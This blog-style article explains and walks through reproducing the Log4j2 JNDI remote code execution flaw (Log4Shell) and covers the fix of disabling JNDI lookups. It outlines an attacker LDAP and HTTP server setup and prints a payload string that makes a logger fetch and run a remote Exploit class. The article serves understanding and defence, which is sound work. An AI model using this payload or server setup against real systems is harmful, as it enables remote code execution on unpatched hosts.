Understanding the Log4j Remote Code Execution Vulnerability
Java developers and security professionals have recently been focused on Apache Log4j2’s remote-code-execution vulnerability. Many white-hat researchers have published reproductions, while backend developers tend to care only about upgrading Log4j2. This article reproduces and explains the vulnerability from a Java developer’s perspective, without security-community jargon.
Once upon a time, I dreamed of being a white-hat hacker too, hahaha.
Reproducing the Vulnerability
The complete reproduction code is on GitHub. Clone it and run the three main methods.
STEP 1: Prepare the Code
Three servers are required:
- The target server, which uses Log4j2 for logging.
- The attacker’s LDAP server, which receives the target’s request and redirects it to the HTTP server.
- The attacker’s HTTP server, which stores the malicious code.
STEP 2: Start the Services
- Start
LdapServer, setting its reference to the HTTP server’s address. - Start
HttpServer. Store the malicious code in its root directory and ensure it can serve files. - Start the target server, represented by the
Mainmethod, with the malicious expression pointing to the LDAP server.
STEP 3: Execute the Code
Once the services are running, the malicious code in the HTTP server’s Exploit class executes inside the Main process.
Why It Works
Introducing JNDI
Before analyzing the vulnerability, consider JNDI. The Java Naming and Directory Interface lets applications locate resources and other program objects through Java APIs. Services accessible through JNDI include JDBC, LDAP, RMI, DNS, NIS, and CORBA.
JNDI has two characteristics that create security risks. First, dynamic protocol conversion automatically parses a string to determine the service provider’s address and service. If an attacker controls the string, they can define the provider URL freely.
Second, naming references allow an object to be stored indirectly in a naming or directory service as a reference that a naming manager decodes into the original object. A client may receive only a reference from the JNDI provider while the actual class resides on another machine.
Exploiting Log4j2
When Log4j2 prints a malicious log string such as ${jndi:ldap://127.0.0.1:1389/Exploit}, the framework evaluates the content inside ${}. The jndi prefix tells it to perform a JNDI lookup.
After recognizing a JNDI service, the target requests the LDAP server at the malicious URL. The LDAP server returns the attack code’s address as a naming reference.
The target then follows the naming reference to obtain the remote attack code’s factory and class.
Finally, after retrieving the remote class information, it loads and instantiates that class, completing the attack.
Sequence Diagram
Solution
Many fixes are available online, but they share one core principle: disable Log4j’s JNDI-related functionality. I will not repeat the details here.
References
CVE-2021-44228-Apache-Log4j-Rce
Attacking JNDI, RMI, and LDAP in Java (Part 1)